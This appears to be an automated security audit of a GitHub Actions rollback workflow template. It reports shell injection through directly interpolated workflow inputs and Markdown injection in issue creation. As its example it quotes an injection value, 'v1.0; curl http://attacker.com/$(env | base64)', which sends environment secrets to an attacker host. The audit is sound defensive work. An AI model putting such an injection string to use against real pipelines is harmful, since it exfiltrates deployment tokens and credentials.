rollback-workflow-builder
Fail
Audited by Gen Agent Trust Hub on Feb 16, 2026
Risk Level: HIGHCOMMAND_EXECUTION
Full Analysis
- [COMMAND_EXECUTION] (HIGH): Vulnerability to shell injection in GitHub Actions workflows.
- In the
rollback.ymltemplate, the stepVerify version existsusesgit rev-parse ${{ github.event.inputs.version }}. Direct interpolation of inputs into a shell script is a critical security flaw. An attacker could provide a version string likev1.0; curl http://attacker.com/$(env | base64)to exfiltrate secrets. - Similar injection points exist in the
Deploy rollbackstep:./scripts/deploy.sh ${{ github.event.inputs.environment }}. - The
Database Migration Rollbackstep also suffers from this:TARGET=${{ github.event.inputs.migration }}followed by execution. - [COMMAND_EXECUTION] (MEDIUM): Potential Script Injection in
github-script. - The incident issue creation logic directly interpolates user inputs (
environment,version,reason) into the issue body and title. While limited by the GitHub API, this allows for sophisticated Markdown injection or UI redressing attacks within the repository's issue tracker. - [DATA_EXFILTRATION] (LOW): Access to sensitive environment variables.
- The templates correctly use secrets (e.g.,
DEPLOY_TOKEN,KUBECONFIG,DATABASE_URL), but the aforementioned shell injection vulnerabilities make these secrets trivial to exfiltrate.
Recommendations
- AI detected serious security threats
Audit Metadata